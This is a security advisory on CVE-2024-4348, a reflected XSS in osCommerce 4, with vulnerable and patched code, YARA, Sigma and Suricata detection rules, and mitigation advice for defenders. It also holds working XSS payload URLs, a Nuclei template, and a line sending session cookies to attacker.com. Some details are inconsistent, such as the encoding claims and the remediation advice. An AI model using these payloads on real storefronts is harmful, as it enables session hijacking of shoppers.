CVE-2024-4348

Executive Summary

CVE-2024-4348 is a reflected cross-site scripting (XSS) vulnerability in osCommerce 4, specifically within the /catalog/all-products endpoint. The cat parameter is improperly sanitized, allowing an attacker to inject arbitrary JavaScript. The vulnerability is classified as problematic with a CVSS score of 4.3 (Medium). A public proof-of-concept (PoC) exists via a Nuclei template, and the vendor has not responded to disclosure attempts. No official patch is available, making this a persistent risk for unpatched instances.

Supply Chain & Package Security

This vulnerability affects the osCommerce e-commerce platform, which is a PHP-based application. No NPM, PyPI, Go, or Ruby packages are directly involved. However, the risk extends to any third-party plugins or themes that may rely on the vulnerable endpoint.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – script injection can modify page content
• Availability Impact: None (A:N)

The threat level is medium due to the requirement for user interaction, but the ease of exploitation and lack of a patch elevate the risk for active deployments.

Deep Dive & Mechanics

The vulnerability resides in the all-products page of osCommerce 4. The cat parameter is reflected in the response without proper encoding or sanitization. An attacker can craft a URL containing a malicious payload, such as:

/catalog/all-products?cat=1&bhl4n%22%3E%3CScRiPt%3Ealert('document_domain')%3C%2FScRiPt%3Eiyehb=1

When a victim visits this URL, the injected script executes in the context of the osCommerce domain. The double URL encoding (%2522 decodes to %22 which is ") bypasses basic filters. The script can then steal session cookies, redirect users, or perform other client-side attacks.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The lack of output encoding for the cat parameter is the root cause.

Vulnerable vs. Patched Code

Vulnerable Code (osCommerce 4):

// In all-products.php or similar
$cat = $_GET['cat'];
echo "Category: " . $cat; // Direct reflection without sanitization

Patched Code (Hypothetical):

$cat = htmlspecialchars($_GET['cat'], ENT_QUOTES, 'UTF-8');
echo "Category: " . $cat; // Properly encoded output

The patched version uses htmlspecialchars() to convert special characters to HTML entities, preventing script injection. Since no official patch exists, administrators must implement this fix manually.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy osCommerce 4 in a Docker container:

   docker run -d -p 8080:80 --name oscommerce4 oscommerce/oscommerce:4
   

2. Access the vulnerable endpoint:

   http://localhost:8080/catalog/all-products?cat=1
   

Exploitation: Use the provided Nuclei template or craft a manual payload:

http://localhost:8080/catalog/all-products?cat=1&bhl4n%22%3E%3CScRiPt%3Ealert('document_domain')%3C%2FScRiPt%3Eiyehb=1

For session theft, replace alert() with:

new Image().src='http://attacker.com/steal?cookie='+document.cookie

Blue Team

Detection:

• Monitor web logs for requests to /catalog/all-products with suspicious cat parameters containing <script> or encoded equivalents.
• Use the Sigma rule below to detect exploitation attempts.

Mitigation:

• Apply a WAF rule to block XSS patterns in the cat parameter.
• Implement input validation and output encoding as shown in the patched code.

Indicators of Compromise (IOCs)

• URL Pattern: /catalog/all-products?cat=* with double-encoded characters (e.g., %2522, %253e)
• HTTP Request: GET requests to /catalog/all-products with cat parameter containing <script> tags
• Response Body: Presence of <ScRiPt> tags in the response
• Referer Header: Unusual referrers or direct navigation to the vulnerable URL

Detection Engineering

YARA Rule

rule CVE_2024_4348_XSS_osCommerce {
    meta:
        description = "Detects XSS attempts against osCommerce CVE-2024-4348"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-4348"
    strings:
        $xss1 = /cat=[^&]*%2522%253e%253c[sS][cC][rR][iI][pP][tT]/ nocase
        $xss2 = /cat=[^&]*<[sS][cC][rR][iI][pP][tT]/ nocase
        $xss3 = /cat=[^&]*%3C%2F[sS][cC][rR][iI][pP][tT]%3E/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-4348 osCommerce XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts against osCommerce /catalog/all-products
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 
            - "/catalog/all-products?cat="
            - "%2522%253e%253cScRiPt"
            - "<ScRiPt>"
    condition: selection
falsepositives:
    - Legitimate use of the cat parameter with special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4348 osCommerce XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/catalog/all-products"; http_uri; content:"cat="; http_uri; pcre:"/cat=[^&]*%2522%253e%253c[sS][cC][rR][iI][pP][tT]/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2024-4348

info:
  name: osCommerce v4.0 - Cross-site Scripting
  author: s4e-io
  severity: medium
  description: |
    A vulnerability, which was classified as problematic, was found in osCommerce 4. Affected is an unknown function of the file /catalog/all-products. The manipulation of the argument cat leads to cross site scripting. It is possible to launch the attack remotely.
  impact: |
    Attackers can inject malicious scripts via the cat parameter, potentially compromising user sessions.
  remediation: |
    Update osCommerce to a version later than 4.0 that patches the XSS vulnerability.
  reference:
    - https://packetstormsecurity.com/files/178375/osCommerce-4-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4348
    - https://vuldb.com/?ctiid.262488
    - https://vuldb.com/?id.262488
    - https://vuldb.com/?submit.320855
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2024-4348
    cwe-id: CWE-79
    epss-score: 0.15778
    epss-percentile: 0.94754
    cpe: cpe:2.3:a:oscommerce:oscommerce:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"osCommerce"
    product: oscommerce
    vendor: oscommerce
  tags: packetstorm,xss,rxss,oscommerce,cve2024,cve,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/furniture/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%2528'document_domain'%2529%253c%252fScRiPt%253eiyehb=1"
      - "{{BaseURL}}/watch/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%2528'document_domain'%2529%253c%252fScRiPt%253eiyehb=1"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<ScRiPt>alert('document_domain')</ScRiPt>"
          - "Listing of all products on the site"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize the cat parameter using filter_input() or htmlspecialchars().
2. Output Encoding: Encode all user-supplied data before rendering in HTML.
3. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS patterns.
4. Content Security Policy (CSP): Implement a strict CSP to mitigate script execution.

Long-Term Fix:

• Since the vendor is unresponsive, consider migrating to a maintained fork or alternative e-commerce platform.
• Monitor for official patches and apply them immediately if released.

Detection:

• Enable logging for all HTTP requests and analyze for anomalous patterns.
• Use the provided YARA, Sigma, and Suricata rules in your SIEM/IDS.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 32A0A651A2E5B4B35AD78DCA] */}